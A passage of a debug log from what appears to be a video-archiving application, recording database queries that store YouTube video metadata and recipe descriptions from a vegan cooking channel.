of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by ninjoi. - Acceptance - https://thmatc.co/?l=EA4B37B8\nMusic by Mark Generous, Jasper The Cat - Last Week Of School - https://thmatc.co/?l=33FD1557", "The Best Way to Cook Tofu | How to make tofu actually taste good", "7664ca3f-ccaa-4b03-9feb-8ed4c4103093", 1, [], false, "F7YBPAsRbZ0", "https://www.youtube.com/watch?v=F7YBPAsRbZ0", 337, "/downloads/downloads/alec/Steamy Vegan/2022-11-11 The Best Way to Cook Tofu | How to make tofu actually taste good/The Best Way to Cook Tofu | How to make tofu actually taste good [F7YBPAsRbZ0].NA", false, false, false, 1, ~U[2022-11-11 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Learn how to make tofu taste amazing with the BEST 2 ways to cook tofu! Never eat bland, tasteless tofu ever again! All you need are a few simple ingredients to transform this incredibly healthy plant-based protein into something you'll want to include in tons of your favorite meals. \n\nTERIYAKI TOFU\n1 block firm or extra firm tofu, pressed + sliced\n2 tbsp soy sauce or tamari if GF\n2 tbsp maple syrup\n2 tbsp toasted sesame oil\n1/4 tsp cayenne pepper\n\nIn a small jar combine all the ingredients, minus the tofu, seal and shake until well combined. \nIn a sealable food storage bag arrange the tofu slices so they are laying flat. Pour in the marinade and seal the bag. Turn and massage the bag until each piece of tofu has been covered, and place in the fridge for 20 minutes minimum up to overnight (if you plan to cook it the next day). The longer it sits the better!\nAdd the marinated tofu to a parchment lined baking tray and bake for 40 minutes at 425°F until golden, flipping over halfway through. Serve with salads, rice dishes, stir frys, curries, or enjoy on its own!\n\nCRISPY BAKED TOFU (3 INGREDIENTS)\n1 block extra firm tofu, pressed and cubed into bite-sized pieces\n2-3 tbsp soy sauce or tamari\n2-3 tbsp nutritional yeast\n\nTo a large bowl add the tofu and pour over the soy sauce. Toss until each piece is coated and all the soy sauce has been absorbed (add more if the bottom of the bowl looks dry). Add the nutritional yeast and toss once more until each piece of tofu is coated. Transfer to a parchment lined baking tray and bake for 40 minutes at 425°F until golden and crispy, flipping over halfway through. Serve with salads, rice dishes, stir frys, curries, or enjoy on its own! Love dipping them in plum sauce!\n\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by ninjoi. - Acceptance - https://thmatc.co/?l=EA4B37B8\nMusic by Mark Generous, Jasper The Cat - Last Week Of School - https://thmatc.co/?l=33FD1557", "The Best Way to Cook Tofu | How to make tofu actually taste good", 1, nil, false, "F7YBPAsRbZ0", "https://www.youtube.com/watch?v=F7YBPAsRbZ0", "/downloads/downloads/alec/Steamy Vegan/2022-11-11 The Best Way to Cook Tofu | How to make tofu actually taste good/The Best Way to Cook Tofu | How to make tofu actually taste good [F7YBPAsRbZ0].NA", false, ~U[2022-11-11 00:00:00Z]] 20:31:08.528 [debug] QUERY OK source="sources" db=0.6ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.531 [debug] QUERY OK source="media_items" db=2.4ms idle=8.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-09 00:00:00Z], 1] 20:31:08.532 [debug] QUERY OK source="media_items" db=1.2ms idle=9.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Looking for an easy weeknight dinner? You have to try this EASY Vegan Broccoli and Cheese Soup! 🥣 It's vegan, gluten-free, oil-free (optional) and uses healthy whole foods ingredients. 🌱 This soup is made in an instant pot but stovetop directions are below in my blog post if you don't have a pressure cooker! \n\nBROCCOLI & CHEESE SOUP RECIPE ➡️➡️➡️ https://steamyvegan.com/vegan-broccol...\n\nLooking for more easy and delicious soup recipes? WATCH THIS NEXT ⬇️\n2 Cozy Soups to Make in Your Instant Pot: \u00A0\u00A0\u00A0•\u00A02\u00A0Cozy\u00A0Vegan\u00A0Soup\u00A0Recipes\u00A0to\u00A0Make\u00A0in\u00A0Your\u00A0...\u00A0\u00A0\n\n\nWant more cozy vegan soups? These other recipes might interest you! ⬇️\nBUTTERNUT, BASIL & TOMATO SOUP: https://steamyvegan.com/butternut-bas...\nLOADED LAZY NOODLE BOWLS: https://steamyvegan.com/loaded-lazy-n...\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Easy Vegan Broccoli and Cheese Soup🥦🧀 | Healthy, vegan, gluten and oil-free!", "cebb01d3-e626-4cbf-985d-8b62b647dc4d", 1, [], false, "GfrU-pj2O2M", "https://www.youtube.com/watch?v=GfrU-pj2O2M", 338, "/downloads/downloads/alec/Steamy Vegan/2022-11-09 Easy Vegan Broccoli and Cheese Soup🥦🧀 | Healthy, vegan, gluten and oil-free!/Easy Vegan Broccoli and Cheese Soup🥦🧀 | Healthy, vegan, gluten and oil-free! [GfrU-pj2O2M].NA", false, false, false, 1, ~U[2022-11-09 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Looking for an easy weeknight dinner? You have to try this EASY Vegan Broccoli and Cheese Soup! 🥣 It's vegan, gluten-free, oil-free (optional) and uses healthy whole foods ingredients. 🌱 This soup is made in an instant pot but stovetop directions are below in my blog post if you don't have a pressure cooker! \n\nBROCCOLI & CHEESE SOUP RECIPE ➡️➡️➡️ https://steamyvegan.com/vegan-broccol...\n\nLooking for more easy and delicious soup recipes? WATCH THIS NEXT ⬇️\n2 Cozy Soups to Make in Your Instant Pot: \u00A0\u00A0\u00A0•\u00A02\u00A0Cozy\u00A0Vegan\u00A0Soup\u00A0Recipes\u00A0to\u00A0Make\u00A0in\u00A0Your\u00A0...\u00A0\u00A0\n\n\nWant more cozy vegan soups? These other recipes might interest you! ⬇️\nBUTTERNUT, BASIL & TOMATO SOUP: https://steamyvegan.com/butternut-bas...\nLOADED LAZY NOODLE BOWLS: https://steamyvegan.com/loaded-lazy-n...\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Easy Vegan Broccoli and Cheese Soup🥦🧀 | Healthy, vegan, gluten and oil-free!", 1, nil, false, "GfrU-pj2O2M", "https://www.youtube.com/watch?v=GfrU-pj2O2M", "/downloads/downloads/alec/Steamy Vegan/2022-11-09 Easy Vegan Broccoli and Cheese Soup🥦🧀 | Healthy, vegan, gluten and oil-free!/Easy Vegan Broccoli and Cheese Soup🥦🧀 | Healthy, vegan, gluten and oil-free! [GfrU-pj2O2M].NA", false, ~U[2022-11-09 00:00:00Z]] 20:31:08.533 [debug] QUERY OK source="sources" db=0.6ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.535 [debug] QUERY OK source="media_items" db=2.0ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-27 00:00:00Z], 1] 20:31:08.538 [debug] QUERY OK source="media_items" db=1.6ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["My quickest 'what I eat in a day as a vegan' video EVER! 😮 Plant-based, gluten-free and healthy meals that were all fairly quick and simple but had tons of flavour! They kept me full and happy ☺️\n\nRECIPES MENTIONED IN THIS VIDEO:\nRustic Red Potato & Leek Soup: \u00A0\u00A0\u00A0•\u00A02\u00A0Cozy\u00A0Vegan\u00A0Soup\u00A0Recipes\u00A0to\u00A0Make\u00A0in\u00A0Your\u00A0...\u00A0\u00A0\n(full recipe blog ➡️ https://steamyvegan.com/rustic-red-po...)\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! www.igworks.com \n\nWant more cozy vegan soups? These other recipes might interest you! ⬇️\nBUTTERNUT, BASIL & TOMATO SOUP: https://steamyvegan.com/butternut-bas...\nLOADED LAZY NOODLE BOWLS: https://steamyvegan.com/loaded-lazy-n...\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!", "What I Eat as a Vegan in Under 3 Minutes | What I eat in a day, plant-based 😊🌱", "cae55885-433f-4cd4-9522-1112fbf2d912", 1, [], false, "gjNzJx2g7NE", "https://www.youtube.com/watch?v=gjNzJx2g7NE", 339, "/downloads/downloads/alec/Steamy Vegan/2022-10-27 What I Eat as a Vegan in Under 3 Minutes | What I eat in a day, plant-based 😊🌱/What I Eat as a Vegan in Under 3 Minutes | What I eat in a day, plant-based 😊🌱 [gjNzJx2g7NE].NA", false, false, false, 1, ~U[2022-10-27 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "My quickest 'what I eat in a day as a vegan' video EVER! 😮 Plant-based, gluten-free and healthy meals that were all fairly quick and simple but had tons of flavour! They kept me full and happy ☺️\n\nRECIPES MENTIONED IN THIS VIDEO:\nRustic Red Potato & Leek Soup: \u00A0\u00A0\u00A0•\u00A02\u00A0Cozy\u00A0Vegan\u00A0Soup\u00A0Recipes\u00A0to\u00A0Make\u00A0in\u00A0Your\u00A0...\u00A0\u00A0\n(full recipe blog ➡️ https://steamyvegan.com/rustic-red-po...)\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! www.igworks.com \n\nWant more cozy vegan soups? These other recipes might interest you! ⬇️\nBUTTERNUT, BASIL & TOMATO SOUP: https://steamyvegan.com/butternut-bas...\nLOADED LAZY NOODLE BOWLS: https://steamyvegan.com/loaded-lazy-n...\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!", "What I Eat as a Vegan in Under 3 Minutes | What I eat in a day, plant-based 😊🌱", 1, nil, false, "gjNzJx2g7NE", "https://www.youtube.com/watch?v=gjNzJx2g7NE", "/downloads/downloads/alec/Steamy Vegan/2022-10-27 What I Eat as a Vegan in Under 3 Minutes | What I eat in a day, plant-based 😊🌱/What I Eat as a Vegan in Under 3 Minutes | What I eat in a day, plant-based 😊🌱 [gjNzJx2g7NE].NA", false, ~U[2022-10-27 00:00:00Z]] 20:31:08.539 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.541 [debug] QUERY OK source="media_items" db=2.3ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-25 00:00:00Z], 1] 20:31:08.543 [debug] QUERY OK source="media_items" db=1.3ms idle=8.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Soup season is here! And so are these 2 cozy vegan Instant Pot soup recipes you can make this fall 🍂 Vegan, gluten-free, oil-free option, whole food plant based #wfpb (Stovetop instructions included in both recipes 😊)\n\nRECIPES IN THIS VIDEO (full instructions + notes) \nRUSTIC RED POTATO & LEEK SOUP: https://steamyvegan.com/rustic-red-po...\nBEET, TURMERIC & GINGER SOUP: https://steamyvegan.com/beet-turmeric...\n\nWant more cozy vegan soups? These other recipes might interest you! ⬇️\nBUTTERNUT, BASIL & TOMATO SOUP: https://steamyvegan.com/butternut-bas...\nLOADED LAZY NOODLE BOWLS: https://steamyvegan.com/loaded-lazy-n...\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n\n0:00 - Intro\n1:14 - Rustic Red Potato & Leek Soup\n3:18 - Beet, Turmeric & Ginger Soup\n https://app.hellothematic.com/?via=st... \nMusic by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522", "2 Cozy Vegan Soup Recipes to Make in Your Instant Pot This Fall 🍂 | WFPB, Gluten and Oil-Free", "2ee6e308-6efd-4f02-964b-53cf778c9c03", 1, [], false, "hQqQybEApwI", "https://www.youtube.com/watch?v=hQqQybEApwI", 340, "/downloads/downloads/alec/Steamy Vegan/2022-10-25 2 Cozy Vegan Soup Recipes to Make in Your Instant Pot This Fall 🍂 | WFPB, Gluten and Oil-Free/2 Cozy Vegan Soup Recipes to Make in Your Instant Pot This Fall 🍂 | WFPB, Gluten and Oil-Free [hQqQybEApwI].NA", false, false, false, 3, ~U[2022-10-25 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Soup season is here! And so are these 2 cozy vegan Instant Pot soup recipes you can make this fall 🍂 Vegan, gluten-free, oil-free option, whole food plant based #wfpb (Stovetop instructions included in both recipes 😊)\n\nRECIPES IN THIS VIDEO (full instructions + notes) \nRUSTIC RED POTATO & LEEK SOUP: https://steamyvegan.com/rustic-red-po...\nBEET, TURMERIC & GINGER SOUP: https://steamyvegan.com/beet-turmeric...\n\nWant more cozy vegan soups? These other recipes might interest you! ⬇️\nBUTTERNUT, BASIL & TOMATO SOUP: https://steamyvegan.com/butternut-bas...\nLOADED LAZY NOODLE BOWLS: https://steamyvegan.com/loaded-lazy-n...\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n\n0:00 - Intro\n1:14 - Rustic Red Potato & Leek Soup\n3:18 - Beet, Turmeric & Ginger Soup\n https://app.hellothematic.com/?via=st... \nMusic by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522", "2 Cozy Vegan Soup Recipes to Make in Your Instant Pot This Fall 🍂 | WFPB, Gluten and Oil-Free", 1, nil, false, "hQqQybEApwI", "https://www.youtube.com/watch?v=hQqQybEApwI", "/downloads/downloads/alec/Steamy Vegan/2022-10-25 2 Cozy Vegan Soup Recipes to Make in Your Instant Pot This Fall 🍂 | WFPB, Gluten and Oil-Free/2 Cozy Vegan Soup Recipes to Make in Your Instant Pot This Fall 🍂 | WFPB, Gluten and Oil-Free [hQqQybEApwI].NA", false, ~U[2022-10-25 00:00:00Z]] 20:31:08.544 [debug] QUERY OK source="sources" db=0.9ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.547 [debug] QUERY OK source="media_items" db=2.9ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-14 00:00:00Z], 1] 20:31:08.548 [debug] QUERY OK source="media_items" db=1.0ms idle=8.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Today I show you what I ate in a day as a vegan 😊 REALISTIC plant-based and gluten-free meals that were wholesome, delicious and pretty easy to make! Today was a bit of slower day for me so I had a bit more time to prepare a couple meals from scratch, but I did also incorporate some leftovers into my meals as they were taking up some real estate in my fridge. No fancy filming or lighting set ups in this video today, just a very raw and real look into a typical day of plant-based eating!\n\nMake sure you LIKE this video and SUBSCRIBE to our channel to get weekly videos (recipes, what I eat, product reviews and more!) 🧡\n\nRECIPES IN THIS VIDEO:\nCranberry Apple Pumpkin Spice Baked Oatmeal (in our 'Pumpkin Breakfast Recipes' video): \u00A0\u00A0\u00A0•\u00A0Plant-Based\u00A0Pumpkin\u00A0Spice\u00A0Breakfast\u00A0Recipe...\u00A0\u00A0\n\n0:00 - Intro\n0:22 - Cranberry Apple Pumpkin Spice Baked Oatmeal (breakfast)\n1:07 - Sweet 'n Salty Roasted Squash Seeds (snack)\n1:57 - Thanksgiving Leftovers (lunch)\n2:32 - Thai-Inspired Veggie Noodle Soup (dinner)\n3:05 - Lavender Latte and Dessert\n\nMusic by Juju B. Goode - Day 14. Finale - https://thmatc.co/?l=341034EF", "REALISTIC Vegan What I Ate in a Day // Plant-based and gluten-free meals", "e0c27374-e758-47fb-9bfe-c1ac57a371ce", 1, [], false, "4_DRcDyWTDk", "https://www.youtube.com/watch?v=4_DRcDyWTDk", 341, "/downloads/downloads/alec/Steamy Vegan/2022-10-14 REALISTIC Vegan What I Ate in a Day ⧸⧸ Plant-based and gluten-free meals/REALISTIC Vegan What I Ate in a Day ⧸⧸ Plant-based and gluten-free meals [4_DRcDyWTDk].NA", false, false, false, 2, ~U[2022-10-14 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Today I show you what I ate in a day as a vegan 😊 REALISTIC plant-based and gluten-free meals that were wholesome, delicious and pretty easy to make! Today was a bit of slower day for me so I had a bit more time to prepare a couple meals from scratch, but I did also incorporate some leftovers into my meals as they were taking up some real estate in my fridge. No fancy filming or lighting set ups in this video today, just a very raw and real look into a typical day of plant-based eating!\n\nMake sure you LIKE this video and SUBSCRIBE to our channel to get weekly videos (recipes, what I eat, product reviews and more!) 🧡\n\nRECIPES IN THIS VIDEO:\nCranberry Apple Pumpkin Spice Baked Oatmeal (in our 'Pumpkin Breakfast Recipes' video): \u00A0\u00A0\u00A0•\u00A0Plant-Based\u00A0Pumpkin\u00A0Spice\u00A0Breakfast\u00A0Recipe...\u00A0\u00A0\n\n0:00 - Intro\n0:22 - Cranberry Apple Pumpkin Spice Baked Oatmeal (breakfast)\n1:07 - Sweet 'n Salty Roasted Squash Seeds (snack)\n1:57 - Thanksgiving Leftovers (lunch)\n2:32 - Thai-Inspired Veggie Noodle Soup (dinner)\n3:05 - Lavender Latte and Dessert\n\nMusic by Juju B. Goode - Day 14. Finale - https://thmatc.co/?l=341034EF", "REALISTIC Vegan What I Ate in a Day // Plant-based and gluten-free meals", 1, nil, false, "4_DRcDyWTDk", "https://www.youtube.com/watch?v=4_DRcDyWTDk", "/downloads/downloads/alec/Steamy Vegan/2022-10-14 REALISTIC Vegan What I Ate in a Day ⧸⧸ Plant-based and gluten-free meals/REALISTIC Vegan What I Ate in a Day ⧸⧸ Plant-based and gluten-free meals [4_DRcDyWTDk].NA", false, ~U[2022-10-14 00:00:00Z]] 20:31:08.550 [debug] QUERY OK source="sources" db=0.9ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.552 [debug] QUERY OK source="media_items" db=2.3ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-07 00:00:00Z], 1] 20:31:08.562 [debug] QUERY OK source="media_items" db=9.3ms idle=8.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What better way is there to enjoy your morning PSL than with one of these delicious plant-based pumpkin spice breakfast recipes? Pumpkin Spice season is officially upon us after all! 🎃 Whether you have a little bit of time, tons of time or NO time to whip up breakfast in the morning, these 3 whole food plant-based and gluten-free recipes have got you covered and are guaranteed to give you your daily recommended intake of pumpkin spice.\n\nEach recipe is gluten-free and whole foods plant-based friendly! #wfpb \n\n\nLOVE THIS VIDEO? Make sure to LIKE and SUBSCRIBE to \u202A@steamyvegan\u202C for more delicious plant-based content! ✔️\n\n\nMORE PUMPKIN SPICED GOODNESS 👇🏻\n3 Savoury Pumpkin Spice Recipe You GOTTA Try This Fall: \u00A0\u00A0\u00A0•\u00A03\u00A0Savoury\u00A0Pumpkin\u00A0Spice\u00A0Recipes\u00A0You've\u00A0GOT...\u00A0\u00A0\nWhich Tastes Better Pumpkin Spiced? \u00A0\u00A0\u00A0•\u00A0We\u00A0Pumpkin\u00A0Spiced\u00A0a\u00A0Pizza,\u00A0Burgers,\u00A0and\u00A0Hu...\u00A0\u00A0\nPumpkin Spice Chocolate Chip Mini Scones: https://steamyvegan.com/pumpkin-spice...\n\n\n-*RECIPES IN THIS VIDEO *\n\n⬇️ Pumpkin Spice Bliss Balls ⬇️\nhttps://steamyvegan.com/pumpkin-spice...\n\n⬇️ Pumpkin Spice Cranberry Apple Baked Oatmeal ⬇️\nhttps://steamyvegan.com/pumpkin-spice...\n\nPumpkin Spice Smoothie\n1 cup canned pumpkin puree (not pumpkin pie filling)\n1 cup unsweetened soy or nondairy milk\n1/4 cup rolled oats\n3 soaked medjool dates, pitted\n1 teaspoon vanilla extract\n1/2 to 1 teaspoon pumpkin pie spice \n1 frozen banana\nice 